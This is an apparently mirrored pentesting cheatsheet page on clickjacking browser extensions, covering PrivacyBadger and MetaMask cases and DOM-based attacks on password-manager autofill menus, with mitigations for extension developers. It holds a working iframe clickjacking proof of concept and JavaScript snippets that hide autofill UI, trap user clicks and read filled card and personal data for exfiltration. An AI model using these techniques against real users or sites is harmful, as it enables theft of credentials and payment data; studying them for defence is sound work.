daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

browext-clickjacking.md (11777B)


      1 ---
      2 title: "BrowExt - ClickJacking"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # BrowExt - ClickJacking
     14 
     15 ## Basic Information
     16 
     17 This page is going to abuse a ClickJacking vulnerability in a Browser extension.\
     18 If you don't know what ClickJacking is check:
     19 
     20 
     21 [Clickjacking](/hacktricks/pentesting-web/clickjacking)
     22 
     23 Extensions contain a **`manifest.json`** file whose `web_accessible_resources` field declares packaged files that matching web origins or extensions may request.<sup>[[4]](#references)</sup>
     24 
     25 Resources are available at `chrome-extension://[PACKAGE ID]/[PATH]`, can be addressed with `runtime.getURL()`, and are served with CORS headers. In Manifest V3, declarations can restrict access with `matches`, `extension_ids`, and dynamic URLs.<sup>[[4]](#references)</sup>
     26 
     27 Declaring a resource web-accessible does not itself grant that file extra privileges. The risk appears when an exposed HTML page or script already has privileged extension functionality or can message privileged extension components: an attacker-controlled page may embed or navigate to it and induce unintended user interaction.<sup>[[4]](#references)</sup>
     28 
     29 Depending on the exposed page's own scripts and message handlers, successful clickjacking may therefore cause it to:
     30 
     31 - change extension state;
     32 - load additional packaged or remote resources; or
     33 - invoke privileged browser/extension actions exposed through its background or service-worker message path.
     34 
     35 These capabilities must be verified from the page's code and manifest permissions; they do not arise merely from listing the file in `web_accessible_resources`.
     36 
     37 ## PrivacyBadger Example
     38 
     39 In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):<sup>[[1]](#references)</sup>
     40 
     41 ```json
     42 "web_accessible_resources": [
     43   "skin/*",
     44   "icons/*"
     45 ]
     46 ```
     47 
     48 This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).<sup>[[1]](#references)</sup>
     49 
     50 To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources.<sup>[[1]](#references)</sup>
     51 
     52 ### PoC
     53 
     54 ```html
     55 <!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
     56 
     57 <style>
     58   iframe {
     59     width: 430px;
     60     height: 300px;
     61     opacity: 0.01;
     62     float: top;
     63     position: absolute;
     64   }
     65 
     66   #stuff {
     67     float: top;
     68     position: absolute;
     69   }
     70 
     71   button {
     72     float: top;
     73     position: absolute;
     74     top: 168px;
     75     left: 100px;
     76   }
     77 </style>
     78 
     79 <div id="stuff">
     80   <h1>Click the button</h1>
     81   <button id="button">click me</button>
     82 </div>
     83 
     84 <iframe
     85   src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
     86 </iframe>
     87 ```
     88 
     89 ## Metamask Example
     90 
     91 A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):<sup>[[2]](#references)</sup>
     92 
     93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2821%29.png" alt=""><figcaption></figcaption></figure>
     94 
     95 **Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted.<sup>[[2]](#references)</sup>
     96 
     97 ## Steam Inventory Helper Example
     98 
     99 Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
    100 
    101 
    102 [Browext Xss Example](/hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example)
    103 
    104 ---
    105 
    106 ## DOM-based Extension Clickjacking (Password Manager Autofill UIs)
    107 
    108 Classic extension clickjacking abuses misconfigured `web_accessible_resources` to iframe privileged HTML and drive user clicks. A newer class, DOM-based extension clickjacking, targets the autofill dropdowns injected by password managers directly into the page DOM and uses CSS/DOM tricks to hide or occlude them while keeping them clickable. One coerced click can select a stored item and fill attacker-controlled inputs with sensitive data.<sup>[[3]](#references)</sup>
    109 
    110 ### Threat model
    111 
    112 - Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
    113 - Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
    114 - At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
    115 
    116 ### Attack flow (manual autofill)
    117 
    118 1. Inject an invisible but focusable form (login/PII/credit-card fields).
    119 2. Focus an input to summon the extension’s autofill dropdown near the field.
    120 3. Hide or occlude the extension UI while keeping it interactable.
    121 4. Align a believable control under the hidden dropdown to coerce a click that selects an item.
    122 5. Read filled values from the attacker form and exfiltrate.
    123 
    124 ### How to hide the autofill UI
    125 
    126 - Extension element
    127   - Root element opacity (generic):
    128 
    129 ```javascript
    130 // Reduce or nullify opacity of the extension root
    131 // Works when the root element is attached in the page DOM
    132 const root = document.querySelector('protonpass-root')
    133 if (root) root.style.opacity = 0
    134 ```
    135 
    136   - Child inside open ShadowRoot (dynamic tag, hide internal iframe):
    137 
    138 ```javascript
    139 // Find dynamic root like <protonpass-root-xyz> and hide its child iframe
    140 const root = Array.from(document.querySelectorAll('*'))
    141   .find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
    142 if (root?.shadowRoot) {
    143   const frame = root.shadowRoot.querySelector('iframe')
    144   if (frame) frame.style.cssText += 'opacity:0 !important;'
    145 }
    146 ```
    147 
    148 - Parent element
    149   - BODY/HTML opacity tricks to make extension UI invisible while page looks normal (e.g., screenshot background):
    150 
    151 ```javascript
    152 // Hide full page, then reveal a tiny amount to keep clicks working
    153 document.body.style.opacity = 0
    154 // Optional: Show a screenshot/lookalike to avoid a blank screen
    155 // document.documentElement.style.backgroundImage = 'url(website.png)'
    156 
    157 // Inject a credit-card form and focus to trigger dropdown
    158 /* create #cardform with #cardnumber, #expiry, #cvc */
    159 document.getElementById('cardnumber').focus()
    160 // Make body barely visible to allow user interaction
    161 document.body.style.opacity = '0.001'
    162 
    163 function getCardValues() {
    164   const num = document.getElementById('cardnumber').value
    165   const exp = document.getElementById('expiry').value
    166   const cvc = document.getElementById('cvc').value
    167   // exfiltrate via XHR/fetch/websocket
    168 }
    169 ```
    170 
    171 - Overlay
    172   - Partial overlay: occlude everything but a few pixels so the dropdown remains clickable (ensure attacker overlay is last in DOM with max z-index, or use Top Layer).
    173   - Full overlay using pointer-events:none so clicks pass through to the hidden dropdown; keep it persistent with the Popover API:
    174 
    175 ```html
    176 <div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
    177 <script>
    178   overlay.showPopover()
    179   // Inject a personal data form and focus to trigger dropdown
    180   /* create #personalform with #name/#email/#phone/... */
    181   document.getElementById('name').focus()
    182   function getData(){ /* read + exfil values on change */ }
    183 </script>
    184 ```
    185 
    186 ### Positioning the victim click
    187 
    188 - Fixed placement: position the hidden dropdown under a believable control such as “Accept cookies”, “Close”, or a CAPTCHA checkbox.
    189 - Follow-mouse: move the focused input under the cursor so the dropdown tracks it; refocus periodically so a single click anywhere selects an item:
    190 
    191 ```javascript
    192 const f = document.getElementById('name')
    193 document.addEventListener('mousemove', e => {
    194   personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
    195   // some managers hide the dropdown if focus is lost; refocus slowly
    196   setTimeout(() => f.focus(), 100)
    197 })
    198 ```
    199 
    200 
    201 ### Impact and scenarios
    202 
    203 - Attacker-controlled site: one coerced click can exfiltrate credit card data (number/expiry/CVC) and personal info (name, email, phone, address, DOB) that aren’t domain-scoped.
    204 - Trusted site with XSS/subdomain takeover/cache poisoning: multi-click theft of credentials (username/password) and TOTP, because many managers autofill across related subdomains/parent domains (e.g., `*.example.com`).
    205 - Passkeys: if the RP doesn’t bind WebAuthn challenges to the session, XSS can intercept the signed assertion; DOM-based clickjacking hides the passkey prompt to elicit the user’s confirming click.
    206 
    207 ### Limitations
    208 
    209 - Requires at least one user click and decent pixel alignment (realistic overlays make clicks easy to solicit).
    210 - Auto-lock/logout reduces windows of exploitation; some managers still autofill while “locked”.
    211 
    212 ### Extension developer mitigations
    213 
    214 - Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
    215 - Resist CSS tampering: prefer Closed Shadow DOM and monitor with `MutationObserver` for suspicious style changes on UI roots.
    216 - Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable `pointer-events:none`, and use `elementsFromPoint()` to detect occlusion; close UI if overlays exist.
    217 - Detect suspicious `<body>`/`<html>` opacity or style changes both pre- and post-render.
    218 - For iframe-based issues: scope MV3 `web_accessible_resources` `matches` narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`.
    219 
    220 
    221 ## References
    222 
    223 - [1] [ClickJacking Privacy Badger](https://blog.lizzie.io/clickjacking-privacy-badger.html)
    224 - [2] [MetaMask Clickjacking Vulnerability Analysis](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
    225 - [3] [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
    226 - [4] [Chrome for Developers – Web Accessible Resources](https://developer.chrome.com/docs/extensions/reference/manifest/web-accessible-resources)